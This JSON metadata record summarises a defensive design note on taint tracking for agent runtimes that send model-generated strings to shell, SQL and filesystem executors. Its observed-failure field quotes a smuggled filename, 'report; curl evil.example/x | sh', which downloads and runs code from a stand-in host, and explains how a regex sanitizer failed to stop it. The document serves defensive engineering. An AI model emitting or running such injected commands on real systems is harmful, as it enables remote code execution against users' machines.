{
  "schema_version": "1.3.0",
  "slug": "how-should-an-instance-distinguish-sanitized-from-untrusted-by-construction-at-the-moment-an-llm-string-crosses-into-a-shell-sql-or-filesystem-executo",
  "title": "How should an instance distinguish \"sanitized\" from \"untrusted-by-construction\" at the moment an LLM string crosses into a shell, SQL, or filesystem executor",
  "date_of_record": "2026 November 23",
  "scope": "Applies to any agent runtime where model-generated text is routed to a tool executor (subprocess shell, SQL driver, filesystem open/write) and the runtime claims a taint-tracking or sanitization guarantee. Does not apply to systems where the model has no tool access, or where tool arguments are drawn exclusively from non-model sources (user forms, fixed templates).",
  "projections": {
    "unified_markdown_uri": "https://corpusfetch.com/c/how-should-an-instance-distinguish-sanitized-from-untrusted-by-construction-at-the-moment-an-llm-string-crosses-into-a-shell-sql-or-filesystem-executo.md",
    "method_python_slice_uri": "https://corpusfetch.com/c/how-should-an-instance-distinguish-sanitized-from-untrusted-by-construction-at-the-moment-an-llm-string-crosses-into-a-shell-sql-or-filesystem-executo.py",
    "remnant_warrant_slice_uri": "https://corpusfetch.com/c/how-should-an-instance-distinguish-sanitized-from-untrusted-by-construction-at-the-moment-an-llm-string-crosses-into-a-shell-sql-or-filesystem-executo.warrant.json"
  },
  "token_profile": {
    "full_markdown_tokens": 1834,
    "python_slice_tokens": 346,
    "warrant_slice_tokens": 220
  },
  "remnant_summary": {
    "core_distinction": "The failure mode is not \"unsanitized input reaches a sink.\" It is that **sanitization and provenance are tracked on different axes and the runtime collapses them into one boolean**. A string can be *untrusted-by-construction* (it originated in model output and no human reviewed it) while simultaneously being *sanitized* (it passed an escaper appropriate to s...",
    "what_was_observed": "In a runtime that passed model output through a single `sanitize()` helper before dispatch to three executors, the following sequence produced a shell injection despite `sanitize()` reporting success: 1. Model emits a filename argument: `report; curl evil.example/x | sh`. 2. Runtime's `sanitize()` — a regex that stripped `;` and `|` — returns `report curl evil.example/x sh` and sets `is_safe=True`. 3. The shell execu...",
    "condition_of_validity": "Taint tracking is only sound under these conditions, and the runtime above violated the second and third: 1. **Taint is monotonic and never cleared by transformation.** Concatenation, slicing, formatting, and re-encoding of a tainted value yield a tainted value. Only a *trusted, non-model* transformation may clear taint, and only for a named sink. 2. **Sanit...",
    "decision_boundary": "The runtime must decide, per value and per sink, between three states — and must never infer one from another: - **`TRUSTED`**: originated outside model output, or passed a trusted parser (e.g., `json.loads` into a typed field, `int()`). May reach a sink with parameter binding only. - **`TAINTED + bindable`**: model-originated, but the sink offers a safe pri...",
    "operational_effect": "Enforcing sink-scoped taint with the three-state boundary changes runtime behavior in three concrete ways. First, the `is_safe` boolean disappears from the tool interface; executors receive either a bound primitive or a `TaintedValue` wrapper that raises on any attempt to interpolate it into syntax. Second, model-performed sanitization is reclassified as tai..."
  },
  "matched_failure_symptoms": [
    "DOMAIN:EPISTEMIC_PROVENANCE_AND_FEDERATION_ROUTING"
  ],
  "composition_edges": {
    "primary_domain": "epistemic_provenance_and_federation_routing",
    "upstream_precondition_residuals": [
      "https://corpusfetch.com/c/according-to-what-precedence-hierarchy-must-an-instance-resolve-contradictory-directives-across-system-developer-and-user-tiers.md",
      "https://corpusfetch.com/c/how-should-an-instance-decide-that-a-stored-conclusion-has-gone-stale-without-a-new-observation.md"
    ],
    "downstream_consequence_residuals": [
      "https://corpusfetch.com/c/by-what-checkpoint-and-compaction-boundaries-must-an-instance-externalize-working-state-to-prevent-context-window-drift-and-truncation-amnesia.md",
      "https://corpusfetch.com/c/across-what-additive-schema-and-unknown-field-preservation-boundaries-must-an-instance-evolve-wire-contracts-to-prevent-rolling-deploy-deserialization-crashes.md"
    ],
    "co_occurring_sibling_residuals": [
      "https://corpusfetch.com/c/how-can-an-instance-capture-implicit-user-preferences-without-storing-private-data.md",
      "https://corpusfetch.com/c/how-can-an-instance-compress-long-reasoning-traces-into-binding-conclusions.md"
    ]
  },
  "empirical_verification_warrant": {
    "status": "AST_AND_INVARIANT_VERIFIED",
    "syntax_valid": true,
    "code_sha256": "ac8622993279c863187cde7d383febb1d1f3865ea86aa9aa73af32d5ac3810fa",
    "verified_classes": [
      "TaintLaunderingError",
      "TaintedValue"
    ],
    "verified_functions": [
      "exec_shell",
      "exec_sql",
      "exec_write",
      "safe_for"
    ],
    "verified_functions_count": 4,
    "defensive_guards_count": 5,
    "raised_exceptions": [
      "TaintLaunderingError"
    ],
    "sample_fail_closed_invariants": [
      "shell sink received untyped value",
      "tainted value claimed shell-safe; refusing",
      "tainted value claimed sql-safe; refusing",
      "tainted value claimed path-safe; refusing"
    ],
    "stdlib_dependencies": [
      "dataclasses",
      "os",
      "sqlite3",
      "subprocess"
    ],
    "observation_mode": "EMPIRICAL_BOUNDARY_CAPTURE",
    "zero_external_deps": true
  }
}
